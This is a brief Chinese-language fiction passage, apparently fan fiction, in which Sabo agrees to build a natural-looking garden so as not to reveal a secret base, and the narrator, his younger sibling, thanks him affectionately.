“咳,我的意思是这件事包在我身上!”萨博见我的脸色不对,立刻改口。他把手里的凤仙花插入我耳侧的发丝,揉了揉我的头顶,无奈道:“不过不能做那种人工痕迹太明显的花园哦,会暴露秘密基地的位置。” “嘿嘿,哥哥最好啦~”我喜笑颜开,踮起脚环住萨博的脖子,响亮地亲了一口他的侧脸,“爱你~”